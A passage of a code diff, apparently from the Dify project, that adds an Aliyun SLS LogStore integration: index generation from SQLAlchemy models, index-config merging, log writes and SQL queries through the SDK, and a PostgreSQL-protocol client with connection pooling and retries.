+        # Boolean -> long (stored as 0/1)
+        if isinstance(column_type, sa.Boolean):
+            return "long"
+
+        # JSON -> json
+        if isinstance(column_type, sa.JSON):
+            return "json"
+
+        # Default to text for unknown types
+        return "text"
+
+    @staticmethod
+    def _generate_index_keys_from_model(model_class: type[DeclarativeBase]) -> dict[str, IndexKeyConfig]:
+        """
+        Automatically generate LogStore field index configuration from SQLAlchemy model.
+
+        This method introspects the SQLAlchemy model's column definitions and creates
+        corresponding LogStore index configurations. When the PG schema is updated via
+        Flask-Migrate, this method will automatically pick up the new fields on next startup.
+
+        Args:
+            model_class: SQLAlchemy model class (e.g., WorkflowRun, WorkflowNodeExecutionModel)
+
+        Returns:
+            Dictionary mapping field names to IndexKeyConfig objects
+        """
+        index_keys = {}
+
+        # Iterate over all mapped columns in the model
+        if hasattr(model_class, "__mapper__"):
+            for column_name, column_property in model_class.__mapper__.columns.items():
+                # Skip relationship properties and other non-column attributes
+                if not hasattr(column_property, "type"):
+                    continue
+
+                # Map SQLAlchemy type to LogStore type
+                logstore_type = AliyunLogStore._sqlalchemy_type_to_logstore_type(column_property)
+
+                # Create index configuration
+                # - text fields: case_insensitive for better search, with tokenizer and Chinese support
+                # - all fields: doc_value=True for analytics
+                if logstore_type == "text":
+                    index_keys[column_name] = IndexKeyConfig(
+                        index_type="text",
+                        case_sensitive=False,
+                        doc_value=True,
+                        token_list=AliyunLogStore.DEFAULT_TOKEN_LIST,
+                        chinese=True,
+                    )
+                else:
+                    index_keys[column_name] = IndexKeyConfig(index_type=logstore_type, doc_value=True)
+
+        # Add log_version field (not in PG model, but used in logstore for versioning)
+        index_keys["log_version"] = IndexKeyConfig(index_type="long", doc_value=True)
+
+        return index_keys
+
+    def __init__(self) -> None:
+        # Skip initialization if already initialized (singleton pattern)
+        if self.__class__._initialized:
+            return
+
+        load_dotenv()
+
+        self.access_key_id: str = os.environ.get("ALIYUN_SLS_ACCESS_KEY_ID", "")
+        self.access_key_secret: str = os.environ.get("ALIYUN_SLS_ACCESS_KEY_SECRET", "")
+        self.endpoint: str = os.environ.get("ALIYUN_SLS_ENDPOINT", "")
+        self.region: str = os.environ.get("ALIYUN_SLS_REGION", "")
+        self.project_name: str = os.environ.get("ALIYUN_SLS_PROJECT_NAME", "")
+        self.logstore_ttl: int = int(os.environ.get("ALIYUN_SLS_LOGSTORE_TTL", 365))
+        self.log_enabled: bool = os.environ.get("SQLALCHEMY_ECHO", "false").lower() == "true"
+        self.pg_mode_enabled: bool = os.environ.get("LOGSTORE_PG_MODE_ENABLED", "true").lower() == "true"
+
+        # Initialize SDK client
+        self.client = LogClient(
+            self.endpoint, self.access_key_id, self.access_key_secret, auth_version=AUTH_VERSION_4, region=self.region
+        )
+
+        # Append Dify identification to the existing user agent
+        original_user_agent = self.client._user_agent  # pyright: ignore[reportPrivateUsage]
+        dify_version = dify_config.project.version
+        enhanced_user_agent = f"Dify,Dify-{dify_version},{original_user_agent}"
+        self.client.set_user_agent(enhanced_user_agent)
+
+        # PG client will be initialized in init_project_logstore
+        self._pg_client: AliyunLogStorePG | None = None
+        self._use_pg_protocol: bool = False
+
+        self.__class__._initialized = True
+
+    @property
+    def supports_pg_protocol(self) -> bool:
+        """Check if PG protocol is supported and enabled."""
+        return self._use_pg_protocol
+
+    def _attempt_pg_connection_init(self) -> bool:
+        """
+        Attempt to initialize PG connection.
+
+        This method tries to establish PG connection and performs necessary checks.
+        It's used both for immediate connection (existing projects) and delayed connection (new projects).
+
+        Returns:
+            True if PG connection was successfully established, False otherwise.
+        """
+        if not self.pg_mode_enabled or not self._pg_client:
+            return False
+
+        try:
+            self._use_pg_protocol = self._pg_client.init_connection()
+            if self._use_pg_protocol:
+                logger.info("Successfully connected to project %s using PG protocol", self.project_name)
+                # Check if scan_index is enabled for all logstores
+                self._check_and_disable_pg_if_scan_index_disabled()
+                return True
+            else:
+                logger.info("PG connection failed for project %s. Will use SDK mode.", self.project_name)
+                return False
+        except Exception as e:
+            logger.warning(
+                "Failed to establish PG connection for project %s: %s. Will use SDK mode.",
+                self.project_name,
+                str(e),
+            )
+            self._use_pg_protocol = False
+            return False
+
+    def _delayed_pg_connection_init(self) -> None:
+        """
+        Delayed initialization of PG connection for newly created projects.
+
+        This method is called by a background timer 3 minutes after project creation.
+        """
+        # Double check conditions in case state changed
+        if self._use_pg_protocol:
+            return
+
+        logger.info(
+            "Attempting delayed PG connection for newly created project %s ...",
+            self.project_name,
+        )
+        self._attempt_pg_connection_init()
+        self.__class__._pg_connection_timer = None
+
+    def init_project_logstore(self):
+        """
+        Initialize project, logstore, index, and PG connection.
+
+        This method should be called once during application startup to ensure
+        all required resources exist and connections are established.
+        """
+        # Step 1: Ensure project and logstore exist
+        project_is_new = False
+        if not self.is_project_exist():
+            self.create_project()
+            project_is_new = True
+
+        self.create_logstore_if_not_exist()
+
+        # Step 2: Initialize PG client and connection (if enabled)
+        if not self.pg_mode_enabled:
+            logger.info("PG mode is disabled. Will use SDK mode.")
+            return
+
+        # Create PG client if not already created
+        if self._pg_client is None:
+            logger.info("Initializing PG client for project %s...", self.project_name)
+            self._pg_client = AliyunLogStorePG(
+                self.access_key_id, self.access_key_secret, self.endpoint, self.project_name
+            )
+
+        # Step 3: Establish PG connection based on project status
+        if project_is_new:
+            # For newly created projects, schedule delayed PG connection
+            self._use_pg_protocol = False
+            logger.info(
+                "Project %s is newly created. Will use SDK mode and schedule PG connection attempt in %d seconds.",
+                self.project_name,
+                self.__class__._pg_connection_delay,
+            )
+            if self.__class__._pg_connection_timer is not None:
+                self.__class__._pg_connection_timer.cancel()
+            self.__class__._pg_connection_timer = threading.Timer(
+                self.__class__._pg_connection_delay,
+                self._delayed_pg_connection_init,
+            )
+            self.__class__._pg_connection_timer.daemon = True  # Don't block app shutdown
+            self.__class__._pg_connection_timer.start()
+        else:
+            # For existing projects, attempt PG connection immediately
+            logger.info("Project %s already exists. Attempting PG connection...", self.project_name)
+            self._attempt_pg_connection_init()
+
+    def _check_and_disable_pg_if_scan_index_disabled(self) -> None:
+        """
+        Check if scan_index is enabled for all logstores.
+        If any logstore has scan_index=false, disable PG protocol.
+
+        This is necessary because PG protocol requires scan_index to be enabled.
+        """
+        logstore_name_list = [
+            AliyunLogStore.workflow_execution_logstore,
+            AliyunLogStore.workflow_node_execution_logstore,
+        ]
+
+        for logstore_name in logstore_name_list:
+            existing_config = self.get_existing_index_config(logstore_name)
+            if existing_config and not existing_config.scan_index:
+                logger.info(
+                    "Logstore %s has scan_index=false, USE SDK mode for read/write operations. "
+                    "PG protocol requires scan_index to be enabled.",
+                    logstore_name,
+                )
+                self._use_pg_protocol = False
+                # Close PG connection if it was initialized
+                if self._pg_client:
+                    self._pg_client.close()
+                    self._pg_client = None
+                return
+
+    def is_project_exist(self) -> bool:
+        try:
+            self.client.get_project(self.project_name)
+            return True
+        except Exception as e:
+            if e.args[0] == "ProjectNotExist":
+                return False
+            else:
+                raise e
+
+    def create_project(self):
+        try:
+            self.client.create_project(self.project_name, AliyunLogStore.project_des)
+            logger.info("Project %s created successfully", self.project_name)
+        except LogException as e:
+            logger.exception(
+                "Failed to create project %s: errorCode=%s, errorMessage=%s, requestId=%s",
+                self.project_name,
+                e.get_error_code(),
+                e.get_error_message(),
+                e.get_request_id(),
+            )
+            raise
+
+    def is_logstore_exist(self, logstore_name: str) -> bool:
+        try:
+            _ = self.client.get_logstore(self.project_name, logstore_name)
+            return True
+        except Exception as e:
+            if e.args[0] == "LogStoreNotExist":
+                return False
+            else:
+                raise e
+
+    def create_logstore_if_not_exist(self) -> None:
+        logstore_name_list = [
+            AliyunLogStore.workflow_execution_logstore,
+            AliyunLogStore.workflow_node_execution_logstore,
+        ]
+
+        for logstore_name in logstore_name_list:
+            if not self.is_logstore_exist(logstore_name):
+                try:
+                    self.client.create_logstore(
+                        project_name=self.project_name, logstore_name=logstore_name, ttl=self.logstore_ttl
+                    )
+                    logger.info("logstore %s created successfully", logstore_name)
+                except LogException as e:
+                    logger.exception(
+                        "Failed to create logstore %s: errorCode=%s, errorMessage=%s, requestId=%s",
+                        logstore_name,
+                        e.get_error_code(),
+                        e.get_error_message(),
+                        e.get_request_id(),
+                    )
+                    raise
+
+            # Ensure index contains all Dify-required fields
+            # This intelligently merges with existing config, preserving custom indexes
+            self.ensure_index_config(logstore_name)
+
+    def is_index_exist(self, logstore_name: str) -> bool:
+        try:
+            _ = self.client.get_index_config(self.project_name, logstore_name)
+            return True
+        except Exception as e:
+            if e.args[0] == "IndexConfigNotExist":
+                return False
+            else:
+                raise e
+
+    def get_existing_index_config(self, logstore_name: str) -> IndexConfig | None:
+        """
+        Get existing index configuration from logstore.
+
+        Args:
+            logstore_name: Name of the logstore
+
+        Returns:
+            IndexConfig object if index exists, None otherwise
+        """
+        try:
+            response = self.client.get_index_config(self.project_name, logstore_name)
+            return response.get_index_config()
+        except Exception as e:
+            if e.args[0] == "IndexConfigNotExist":
+                return None
+            else:
+                logger.exception("Failed to get index config for logstore %s", logstore_name)
+                raise e
+
+    def _get_workflow_execution_index_keys(self) -> dict[str, IndexKeyConfig]:
+        """
+        Get field index configuration for workflow_execution logstore.
+
+        This method automatically generates index configuration from the WorkflowRun SQLAlchemy model.
+        When the PG schema is updated via Flask-Migrate, the index configuration will be automatically
+        updated on next application startup.
+        """
+        from models.workflow import WorkflowRun
+
+        index_keys = self._generate_index_keys_from_model(WorkflowRun)
+
+        # Add custom fields that are in logstore but not in PG model
+        # These fields are added by the repository layer
+        index_keys["error_message"] = IndexKeyConfig(
+            index_type="text",
+            case_sensitive=False,
+            doc_value=True,
+            token_list=self.DEFAULT_TOKEN_LIST,
+            chinese=True,
+        )  # Maps to 'error' in PG
+        index_keys["started_at"] = IndexKeyConfig(
+            index_type="text",
+            case_sensitive=False,
+            doc_value=True,
+            token_list=self.DEFAULT_TOKEN_LIST,
+            chinese=True,
+        )  # Maps to 'created_at' in PG
+
+        logger.info("Generated %d index keys for workflow_execution from WorkflowRun model", len(index_keys))
+        return index_keys
+
+    def _get_workflow_node_execution_index_keys(self) -> dict[str, IndexKeyConfig]:
+        """
+        Get field index configuration for workflow_node_execution logstore.
+
+        This method automatically generates index configuration from the WorkflowNodeExecutionModel.
+        When the PG schema is updated via Flask-Migrate, the index configuration will be automatically
+        updated on next application startup.
+        """
+        from models.workflow import WorkflowNodeExecutionModel
+
+        index_keys = self._generate_index_keys_from_model(WorkflowNodeExecutionModel)
+
+        logger.debug(
+            "Generated %d index keys for workflow_node_execution from WorkflowNodeExecutionModel", len(index_keys)
+        )
+        return index_keys
+
+    def _get_index_config(self, logstore_name: str) -> IndexConfig:
+        """
+        Get index configuration for the specified logstore.
+
+        Args:
+            logstore_name: Name of the logstore
+
+        Returns:
+            IndexConfig object with line and field indexes
+        """
+        # Create full-text index (line config) with tokenizer
+        line_config = IndexLineConfig(token_list=self.DEFAULT_TOKEN_LIST, case_sensitive=False, chinese=True)
+
+        # Get field index configuration based on logstore name
+        field_keys = {}
+        if logstore_name == AliyunLogStore.workflow_execution_logstore:
+            field_keys = self._get_workflow_execution_index_keys()
+        elif logstore_name == AliyunLogStore.workflow_node_execution_logstore:
+            field_keys = self._get_workflow_node_execution_index_keys()
+
+        # key_config_list should be a dict, not a list
+        # Create index config with both line and field indexes
+        return IndexConfig(line_config=line_config, key_config_list=field_keys, scan_index=True)
+
+    def create_index(self, logstore_name: str) -> None:
+        """
+        Create index for the specified logstore with both full-text and field indexes.
+        Field indexes are automatically generated from the corresponding SQLAlchemy model.
+        """
+        index_config = self._get_index_config(logstore_name)
+
+        try:
+            self.client.create_index(self.project_name, logstore_name, index_config)
+            logger.info(
+                "index for %s created successfully with %d field indexes",
+                logstore_name,
+                len(index_config.key_config_list or {}),
+            )
+        except LogException as e:
+            logger.exception(
+                "Failed to create index for logstore %s: errorCode=%s, errorMessage=%s, requestId=%s",
+                logstore_name,
+                e.get_error_code(),
+                e.get_error_message(),
+                e.get_request_id(),
+            )
+            raise
+
+    def _merge_index_configs(
+        self, existing_config: IndexConfig, required_keys: dict[str, IndexKeyConfig], logstore_name: str
+    ) -> tuple[IndexConfig, bool]:
+        """
+        Intelligently merge existing index config with Dify's required field indexes.
+
+        This method:
+        1. Preserves all existing field indexes in logstore (including custom fields)
+        2. Adds missing Dify-required fields
+        3. Updates fields where type doesn't match (with json/text compatibility)
+        4. Corrects case mismatches (e.g., if Dify needs 'status' but logstore has 'Status')
+
+        Type compatibility rules:
+        - json and text types are considered compatible (users can manually choose either)
+        - All other type mismatches will be corrected to match Dify requirements
+
+        Note: Logstore is case-sensitive and doesn't allow duplicate fields with different cases.
+        Case mismatch means: existing field name differs from required name only in case.
+
+        Args:
+            existing_config: Current index configuration from logstore
+            required_keys: Dify's required field index configurations
+            logstore_name: Name of the logstore (for logging)
+
+        Returns:
+            Tuple of (merged_config, needs_update)
+        """
+        # key_config_list is already a dict in the SDK
+        # Make a copy to avoid modifying the original
+        existing_keys = dict(existing_config.key_config_list) if existing_config.key_config_list else {}
+
+        # Track changes
+        needs_update = False
+        case_corrections = []  # Fields that need case correction (e.g., 'Status' -> 'status')
+        missing_fields = []
+        type_mismatches = []
+
+        # First pass: Check for and resolve case mismatches with required fields
+        # Note: Logstore itself doesn't allow duplicate fields with different cases,
+        # so we only need to check if the existing case matches the required case
+        for required_name in required_keys:
+            lower_name = required_name.lower()
+            # Find key that matches case-insensitively but not exactly
+            wrong_case_key = None
+            for existing_key in existing_keys:
+                if existing_key.lower() == lower_name and existing_key != required_name:
+                    wrong_case_key = existing_key
+                    break
+
+            if wrong_case_key:
+                # Field exists but with wrong case (e.g., 'Status' when we need 'status')
+                # Remove the wrong-case key, will be added back with correct case later
+                case_corrections.append((wrong_case_key, required_name))
+                del existing_keys[wrong_case_key]
+                needs_update = True
+
+        # Second pass: Check each required field
+        for required_name, required_config in required_keys.items():
+            # Check for exact match (case-sensitive)
+            if required_name in existing_keys:
+                existing_type = existing_keys[required_name].index_type
+                required_type = required_config.index_type
+
+                # Check if type matches
+                # Special case: json and text are interchangeable for JSON content fields
+                # Allow users to manually configure text instead of json (or vice versa) without forcing updates
+                is_compatible = existing_type == required_type or ({existing_type, required_type} == {"json", "text"})
+
+                if not is_compatible:
+                    type_mismatches.append((required_name, existing_type, required_type))
+                    # Update with correct type
+                    existing_keys[required_name] = required_config
+                    needs_update = True
+                # else: field exists with compatible type, no action needed
+            else:
+                # Field doesn't exist (may have been removed in first pass due to case conflict)
+                missing_fields.append(required_name)
+                existing_keys[required_name] = required_config
+                needs_update = True
+
+        # Log changes
+        if missing_fields:
+            logger.info(
+                "Logstore %s: Adding %d missing Dify-required fields: %s",
+                logstore_name,
+                len(missing_fields),
+                ", ".join(missing_fields[:10]) + ("..." if len(missing_fields) > 10 else ""),
+            )
+
+        if type_mismatches:
+            logger.info(
+                "Logstore %s: Fixing %d type mismatches: %s",
+                logstore_name,
+                len(type_mismatches),
+                ", ".join([f"{name}({old}->{new})" for name, old, new in type_mismatches[:5]])
+                + ("..." if len(type_mismatches) > 5 else ""),
+            )
+
+        if case_corrections:
+            logger.info(
+                "Logstore %s: Correcting %d field name cases: %s",
+                logstore_name,
+                len(case_corrections),
+                ", ".join([f"'{old}' -> '{new}'" for old, new in case_corrections[:5]])
+                + ("..." if len(case_corrections) > 5 else ""),
+            )
+
+        # Create merged config
+        # key_config_list should be a dict, not a list
+        # Preserve the original scan_index value - don't force it to True
+        merged_config = IndexConfig(
+            line_config=existing_config.line_config
+            or IndexLineConfig(token_list=self.DEFAULT_TOKEN_LIST, case_sensitive=False, chinese=True),
+            key_config_list=existing_keys,
+            scan_index=existing_config.scan_index,
+        )
+
+        return merged_config, needs_update
+
+    def ensure_index_config(self, logstore_name: str) -> None:
+        """
+        Ensure index configuration includes all Dify-required fields.
+
+        This method intelligently manages index configuration:
+        1. If index doesn't exist, create it with Dify's required fields
+        2. If index exists:
+           - Check if all Dify-required fields are present
+           - Check if field types match requirements
+           - Only update if fields are missing or types are incorrect
+           - Preserve any additional custom index configurations
+
+        This approach allows users to add their own custom indexes without being overwritten.
+        """
+        # Get Dify's required field indexes
+        required_keys = {}
+        if logstore_name == AliyunLogStore.workflow_execution_logstore:
+            required_keys = self._get_workflow_execution_index_keys()
+        elif logstore_name == AliyunLogStore.workflow_node_execution_logstore:
+            required_keys = self._get_workflow_node_execution_index_keys()
+
+        # Check if index exists
+        existing_config = self.get_existing_index_config(logstore_name)
+
+        if existing_config is None:
+            # Index doesn't exist, create it
+            logger.info(
+                "Logstore %s: Index doesn't exist, creating with %d required fields",
+                logstore_name,
+                len(required_keys),
+            )
+            self.create_index(logstore_name)
+        else:
+            merged_config, needs_update = self._merge_index_configs(existing_config, required_keys, logstore_name)
+
+            if needs_update:
+                logger.info("Logstore %s: Updating index to include Dify-required fields", logstore_name)
+                try:
+                    self.client.update_index(self.project_name, logstore_name, merged_config)
+                    logger.info(
+                        "Logstore %s: Index updated successfully, now has %d total field indexes",
+                        logstore_name,
+                        len(merged_config.key_config_list or {}),
+                    )
+                except LogException as e:
+                    logger.exception(
+                        "Failed to update index for logstore %s: errorCode=%s, errorMessage=%s, requestId=%s",
+                        logstore_name,
+                        e.get_error_code(),
+                        e.get_error_message(),
+                        e.get_request_id(),
+                    )
+                    raise
+            else:
+                logger.info(
+                    "Logstore %s: Index already contains all %d Dify-required fields with correct types, "
+                    "no update needed",
+                    logstore_name,
+                    len(required_keys),
+                )
+
+    def put_log(self, logstore: str, contents: Sequence[tuple[str, str]]) -> None:
+        # Route to PG or SDK based on protocol availability
+        if self._use_pg_protocol and self._pg_client:
+            self._pg_client.put_log(logstore, contents, self.log_enabled)
+        else:
+            log_item = LogItem(contents=contents)
+            request = PutLogsRequest(project=self.project_name, logstore=logstore, logitems=[log_item])
+
+            if self.log_enabled:
+                logger.info(
+                    "[LogStore-SDK] PUT_LOG | logstore=%s | project=%s | items_count=%d",
+                    logstore,
+                    self.project_name,
+                    len(contents),
+                )
+
+            try:
+                self.client.put_logs(request)
+            except LogException as e:
+                logger.exception(
+                    "Failed to put logs to logstore %s: errorCode=%s, errorMessage=%s, requestId=%s",
+                    logstore,
+                    e.get_error_code(),
+                    e.get_error_message(),
+                    e.get_request_id(),
+                )
+                raise
+
+    def get_logs(
+        self,
+        logstore: str,
+        from_time: int,
+        to_time: int,
+        topic: str = "",
+        query: str = "",
+        line: int = 100,
+        offset: int = 0,
+        reverse: bool = True,
+    ) -> list[dict]:
+        request = GetLogsRequest(
+            project=self.project_name,
+            logstore=logstore,
+            fromTime=from_time,
+            toTime=to_time,
+            topic=topic,
+            query=query,
+            line=line,
+            offset=offset,
+            reverse=reverse,
+        )
+
+        # Log query info if SQLALCHEMY_ECHO is enabled
+        if self.log_enabled:
+            logger.info(
+                "[LogStore] GET_LOGS | logstore=%s | project=%s | query=%s | "
+                "from_time=%d | to_time=%d | line=%d | offset=%d | reverse=%s",
+                logstore,
+                self.project_name,
+                query,
+                from_time,
+                to_time,
+                line,
+                offset,
+                reverse,
+            )
+
+        try:
+            response = self.client.get_logs(request)
+            result = []
+            logs = response.get_logs() if response else []
+            for log in logs:
+                result.append(log.get_contents())
+
+            # Log result count if SQLALCHEMY_ECHO is enabled
+            if self.log_enabled:
+                logger.info(
+                    "[LogStore] GET_LOGS RESULT | logstore=%s | returned_count=%d",
+                    logstore,
+                    len(result),
+                )
+
+            return result
+        except LogException as e:
+            logger.exception(
+                "Failed to get logs from logstore %s with query '%s': errorCode=%s, errorMessage=%s, requestId=%s",
+                logstore,
+                query,
+                e.get_error_code(),
+                e.get_error_message(),
+                e.get_request_id(),
+            )
+            raise
+
+    def execute_sql(
+        self,
+        sql: str,
+        logstore: str | None = None,
+        query: str = "*",
+        from_time: int | None = None,
+        to_time: int | None = None,
+        power_sql: bool = False,
+    ) -> list[dict]:
+        """
+        Execute SQL query for aggregation and analysis.
+
+        Args:
+            sql: SQL query string (SELECT statement)
+            logstore: Name of the logstore (required)
+            query: Search/filter query for SDK mode (default: "*" for all logs).
+                   Only used in SDK mode. PG mode ignores this parameter.
+            from_time: Start time (Unix timestamp) - only used in SDK mode
+            to_time: End time (Unix timestamp) - only used in SDK mode
+            power_sql: Whether to use enhanced SQL mode (default: False)
+
+        Returns:
+            List of result rows as dictionaries
+
+        Note:
+            - PG mode: Only executes the SQL directly
+            - SDK mode: Combines query and sql as "query | sql"
+        """
+        # Logstore is required
+        if not logstore:
+            raise ValueError("logstore parameter is required for execute_sql")
+
+        # Route to PG or SDK based on protocol availability
+        if self._use_pg_protocol and self._pg_client:
+            # PG mode: execute SQL directly (ignore query parameter)
+            return self._pg_client.execute_sql(sql, logstore, self.log_enabled)
+        else:
+            # SDK mode: combine query and sql as "query | sql"
+            full_query = f"{query} | {sql}"
+
+            # Provide default time range if not specified
+            if from_time is None:
+                from_time = 0
+
+            if to_time is None:
+                to_time = int(time.time())  # now
+
+            request = GetLogsRequest(
+                project=self.project_name,
+                logstore=logstore,
+                fromTime=from_time,
+                toTime=to_time,
+                query=full_query,
+            )
+
+            # Log query info if SQLALCHEMY_ECHO is enabled
+            if self.log_enabled:
+                logger.info(
+                    "[LogStore-SDK] EXECUTE_SQL | logstore=%s | project=%s | from_time=%d | to_time=%d | full_query=%s",
+                    logstore,
+                    self.project_name,
+                    from_time,
+                    to_time,
+                    query,
+                    sql,
+                )
+
+            try:
+                response = self.client.get_logs(request)
+
+                result = []
+                logs = response.get_logs() if response else []
+                for log in logs:
+                    result.append(log.get_contents())
+
+                # Log result count if SQLALCHEMY_ECHO is enabled
+                if self.log_enabled:
+                    logger.info(
+                        "[LogStore-SDK] EXECUTE_SQL RESULT | logstore=%s | returned_count=%d",
+                        logstore,
+                        len(result),
+                    )
+
+                return result
+            except LogException as e:
+                logger.exception(
+                    "Failed to execute SQL, logstore %s: errorCode=%s, errorMessage=%s, requestId=%s, full_query=%s",
+                    logstore,
+                    e.get_error_code(),
+                    e.get_error_message(),
+                    e.get_request_id(),
+                    full_query,
+                )
+                raise
+
+
+if __name__ == "__main__":
+    aliyun_logstore = AliyunLogStore()
+    # aliyun_logstore.init_project_logstore()
+    aliyun_logstore.put_log(AliyunLogStore.workflow_execution_logstore, [("key1", "value1")])
diff --git a/api/extensions/logstore/aliyun_logstore_pg.py b/api/extensions/logstore/aliyun_logstore_pg.py
new file mode 100644
index 0000000000..35aa51ce53
--- /dev/null
+++ b/api/extensions/logstore/aliyun_logstore_pg.py
@@ -0,0 +1,407 @@
+import logging
+import os
+import socket
+import time
+from collections.abc import Sequence
+from contextlib import contextmanager
+from typing import Any
+
+import psycopg2
+import psycopg2.pool
+from psycopg2 import InterfaceError, OperationalError
+
+from configs import dify_config
+
+logger = logging.getLogger(__name__)
+
+
+class AliyunLogStorePG:
+    """
+    PostgreSQL protocol support for Aliyun SLS LogStore.
+
+    Handles PG connection pooling and operations for regions that support PG protocol.
+    """
+
+    def __init__(self, access_key_id: str, access_key_secret: str, endpoint: str, project_name: str):
+        """
+        Initialize PG connection for SLS.
+
+        Args:
+            access_key_id: Aliyun access key ID
+            access_key_secret: Aliyun access key secret
+            endpoint: SLS endpoint
+            project_name: SLS project name
+        """
+        self._access_key_id = access_key_id
+        self._access_key_secret = access_key_secret
+        self._endpoint = endpoint
+        self.project_name = project_name
+        self._pg_pool: psycopg2.pool.SimpleConnectionPool | None = None
+        self._use_pg_protocol = False
+
+    def _check_port_connectivity(self, host: str, port: int, timeout: float = 2.0) -> bool:
+        """
+        Check if a TCP port is reachable using socket connection.
+
+        This provides a fast check before attempting full database connection,
+        preventing long waits when connecting to unsupported regions.
+
+        Args:
+            host: Hostname or IP address
+            port: Port number
+            timeout: Connection timeout in seconds (default: 2.0)
+
+        Returns:
+            True if port is reachable, False otherwise
+        """
+        try:
+            sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+            sock.settimeout(timeout)
+            result = sock.connect_ex((host, port))
+            sock.close()
+            return result == 0
+        except Exception as e:
+            logger.debug("Port connectivity check failed for %s:%d: %s", host, port, str(e))
+            return False
+
+    def init_connection(self) -> bool:
+        """
+        Initialize PostgreSQL connection pool for SLS PG protocol support.
+
+        Attempts to connect to SLS using PostgreSQL protocol. If successful, sets
+        _use_pg_protocol to True and creates a connection pool. If connection fails
+        (region doesn't support PG protocol or other errors), returns False.
+
+        Returns:
+            True if PG protocol is supported and initialized, False otherwise
+        """
+        try:
+            # Extract hostname from endpoint (remove protocol if present)
+            pg_host = self._endpoint.replace("http://", "").replace("https://", "")
+
+            # Get pool configuration
+            pg_max_connections = int(os.environ.get("ALIYUN_SLS_PG_MAX_CONNECTIONS", 10))
+
+            logger.debug(
+                "Check PG protocol connection to SLS: host=%s, project=%s",
+                pg_host,
+                self.project_name,
+            )
+
+            # Fast port connectivity check before attempting full connection
+            # This prevents long waits when connecting to unsupported regions
+            if not self._check_port_connectivity(pg_host, 5432, timeout=1.0):
+                logger.info(
+                    "USE SDK mode for read/write operations, host=%s",
+                    pg_host,
+                )
+                return False
+
+            # Create connection pool
+            self._pg_pool = psycopg2.pool.SimpleConnectionPool(
+                minconn=1,
+                maxconn=pg_max_connections,
+                host=pg_host,
+                port=5432,
+                database=self.project_name,
+                user=self._access_key_id,
+                password=self._access_key_secret,
+                sslmode="require",
+                connect_timeout=5,
+                application_name=f"Dify-{dify_config.project.version}",
+            )
+
+            # Note: Skip test query because SLS PG protocol only supports SELECT/INSERT on actual tables
+            # Connection pool creation success already indicates connectivity
+
+            self._use_pg_protocol = True
+            logger.info(
+                "PG protocol initialized successfully for SLS project=%s. Will use PG for read/write operations.",
+                self.project_name,
+            )
+            return True
+
+        except Exception as e:
+            # PG connection failed - fallback to SDK mode
+            self._use_pg_protocol = False
+            if self._pg_pool:
+                try:
+                    self._pg_pool.closeall()
+                except Exception:
+                    logger.debug("Failed to close PG connection pool during cleanup, ignoring")
+            self._pg_pool = None
+
+            logger.info(
+                "PG protocol connection failed (region may not support PG protocol): %s. "
+                "Falling back to SDK mode for read/write operations.",
+                str(e),
+            )
+            return False
+
+    def _is_connection_valid(self, conn: Any) -> bool:
+        """
+        Check if a connection is still valid.
+
+        Args:
+            conn: psycopg2 connection object
+
+        Returns:
+            True if connection is valid, False otherwise
+        """
+        try:
+            # Check if connection is closed
+            if conn.closed:
+                return False
+
+            # Quick ping test - execute a lightweight query
+            # For SLS PG protocol, we can't use SELECT 1 without FROM,
+            # so we just check the connection status
+            with conn.cursor() as cursor:
+                cursor.execute("SELECT 1")
+                cursor.fetchone()
+            return True
+        except Exception:
+            return False
+
+    @contextmanager
+    def _get_connection(self):
+        """
+        Context manager to get a PostgreSQL connection from the pool.
+
+        Automatically validates and refreshes stale connections.
+
+        Note: Aliyun SLS PG protocol does not support transactions, so we always
+        use autocommit mode.
+
+        Yields:
+            psycopg2 connection object
+
+        Raises:
+            RuntimeError: If PG pool is not initialized
+        """
+        if not self._pg_pool:
+            raise RuntimeError("PG connection pool is not initialized")
+
+        conn = self._pg_pool.getconn()
+        try:
+            # Validate connection and get a fresh one if needed
+            if not self._is_connection_valid(conn):
+                logger.debug("Connection is stale, marking as bad and getting a new one")
+                # Mark connection as bad and get a new one
+                self._pg_pool.putconn(conn, close=True)
+                conn = self._pg_pool.getconn()
+
+            # Aliyun SLS PG protocol does not support transactions, always use autocommit
+            conn.autocommit = True
+            yield conn
+        finally:
+            # Return connection to pool (or close if it's bad)
+            if self._is_connection_valid(conn):
+                self._pg_pool.putconn(conn)
+            else:
+                self._pg_pool.putconn(conn, close=True)
+
+    def close(self) -> None:
+        """Close the PostgreSQL connection pool."""
+        if self._pg_pool:
+            try:
+                self._pg_pool.closeall()
+                logger.info("PG connection pool closed")
+            except Exception:
+                logger.exception("Failed to close PG connection pool")
+
+    def _is_retriable_error(self, error: Exception) -> bool:
+        """
+        Check if an error is retriable (connection-related issues).
+
+        Args:
+            error: Exception to check
+
+        Returns:
+            True if the error is retriable, False otherwise
+        """
+        # Retry on connection-related errors
+        if isinstance(error, (OperationalError, InterfaceError)):
+            return True
+
+        # Check error message for specific connection issues
+        error_msg = str(error).lower()
+        retriable_patterns = [
+            "connection",
+            "timeout",
+            "closed",
+            "broken pipe",
+            "reset by peer",
+            "no route to host",
+            "network",
+        ]
+        return any(pattern in error_msg for pattern in retriable_patterns)
+
+    def put_log(self, logstore: str, contents: Sequence[tuple[str, str]], log_enabled: bool = False) -> None:
+        """
+        Write log to SLS using PostgreSQL protocol with automatic retry.
+
+        Note: SLS PG protocol only supports INSERT (not UPDATE). This uses append-only
+        writes with log_version field for versioning, same as SDK implementation.
+
+        Args:
+            logstore: Name of the logstore table
+            contents: List of (field_name, value) tuples
+            log_enabled: Whether to enable logging
+
+        Raises:
+            psycopg2.Error: If database operation fails after all retries
+        """
+        if not contents:
+            return
+
+        # Extract field names and values from contents
+        fields = [field_name for field_name, _ in contents]
+        values = [value for _, value in contents]
+
+        # Build INSERT statement with literal values
+        # Note: Aliyun SLS PG protocol doesn't support parameterized queries,
+        # so we need to use mogrify to safely create literal values
+        field_list = ", ".join([f'"{field}"' for field in fields])
+
+        if log_enabled:
+            logger.info(
+                "[LogStore-PG] PUT_LOG | logstore=%s | project=%s | items_count=%d",
+                logstore,
+                self.project_name,
+                len(contents),
+            )
+
+        # Retry configuration
+        max_retries = 3
+        retry_delay = 0.1  # Start with 100ms
+
+        for attempt in range(max_retries):
+            try:
+                with self._get_connection() as conn:
+                    with conn.cursor() as cursor:
+                        # Use mogrify to safely convert values to SQL literals
+                        placeholders = ", ".join(["%s"] * len(fields))
+                        values_literal = cursor.mogrify(f"({placeholders})", values).decode("utf-8")
+                        insert_sql = f'INSERT INTO "{logstore}" ({field_list}) VALUES {values_literal}'
